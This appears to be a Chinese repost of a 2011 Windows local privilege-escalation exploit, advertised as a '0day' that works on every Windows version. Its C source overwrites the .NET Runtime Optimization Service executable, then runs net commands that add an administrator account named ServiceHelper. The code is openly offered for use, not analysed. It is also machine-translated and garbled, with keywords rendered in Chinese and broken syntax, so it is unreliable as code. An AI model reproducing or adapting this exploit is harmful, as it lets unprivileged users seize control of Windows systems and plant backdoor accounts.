.net 提权0day,通杀win系列

作者:hack1990 时间:11-07-28 阅读数:695人阅读
/ *
 
#利用标题:NET运行时优化服务权限提升
#日期:2011年3月7日
#作者:XenoMuta <xenomuta@tuxfamily.org>
#版本:V2.0.50727
#测试:2003 R2中的Windows XP(SP3),,7
#漏洞:N / A
  
    _ __ __ __
   | | / / ___ ____ / | / / _ __ / /_____ -
   | / _ \ / __ \ / __ \ / / | _ / / / / / __ / __`/
  / / ... / / / / / _ / / / / / / _ / / / _ / / _ / /
 /_/|_ \ ___/_/ / _ / \ ____/_/ / _ / \ __,_/ \ __ / \ __,_/
  
 xenomuta [在] tuxfamily.org
 xenomuta [AT] gmail.com
 http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
  
 这其中的一个没有脑子,朴素简单:
  
 这项服务的EXE文件可以通过任何非管理员的域用户覆盖
 和当地的电力用户(这是默认的权限设置)。
 这个漏洞编译成一个服务,使用原来的服务的ID。
  
 测试在Windows 2003,WINXP(SP3)和Win7 
 (我的猜测是,它运行此服务的任何赢得运行)。
  
 fr1t0l4y L.加雷,siriguillo c0ff33 br34k t34m感谢!
   
 祝福y'all!
  
* /
#包括<stdio.h>
#包括<windows.h>
  
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE    hStatus;
  
#定义PWN_EXE“C:\ \ WINDOWS \ \ Microsoft.NET \ \框架\ \ V2.0.50727 \ \ mscorsvw.exe”
#定义PWN_SHORT“mscorsvw.exe”
#定义PWN_NAME“。NET运行时优化服务v2.0.50727_X86”
#定义PWN_ID“clr_optimization_v2.0.50727_32”
  
无效   的ServiceMain ( INT ARGC的 char ** argv的) {
    (InitService()){
       ServiceStatus.dwCurrentState = SERVICE_STOPPED;
       ServiceStatus.dwWin32ExitCode = -1;
       SetServiceStatus(hStatus,ServiceStatus);
       回归 ;
    }
   ServiceStatus.dwCurrentState = SERVICE_RUNNING;
   SetServiceStatus(hStatus,ServiceStatus);
}
  
无效 ControlHandler(DWORD请求);
InitService INT();
  
INT主要(INT ARGC,字符 ** ARGV){
    字符 acUserName [100];
    DWORD n用户名= SIZEOF(acUserName);
    GetUserName(acUserName,&n用户名);
  
    如果(STRCMP((CHAR *)&acUserName,“SYSTEM” )){
        CHAR * STR =(CHAR *)malloc的(2048);
        memset的(STR,0,2048);
        的snprintf(STR,2048, “%s.bak”,PWN_EXE);
        (重命名(PWN_EXE,STR)= 0){
           fprintf(STDERR, “:(对不起,不能写入文件\ N”);
           退出(1);
        }
        的CopyFile(ARGV [0],PWN_EXE,0);
        的snprintf(STR,2048,“NET START \”%S \“2> NUL> NUL”,PWN_NAME);
        printf的(“\ N>:应该已经创建了一个\ n \ N用户名:\ tServiceHelper \ N密码:\ tILov3Coff33 \ N \ N”);
        系统(STR);
    }
  
    SERVICE_TABLE_ENTRY ServiceTable的[2];
  
    ServiceTable的[0] lpServiceName = PWN_ID;
    ServiceTable的[0] = lpServiceProc(LPSERVICE_MAIN_FUNCTION)ServiceMain;
  
    ServiceTable的[1] lpServiceName = NULL;
    ServiceTable的[1] lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable的);
  
    返回 0;
}
  
INT InitService(){
    系统(“CMD / C网用户ServiceHelper ILov3Coff33 /加上&ServiceHelper /添加的net localgroup管理员!”);
}

发表评论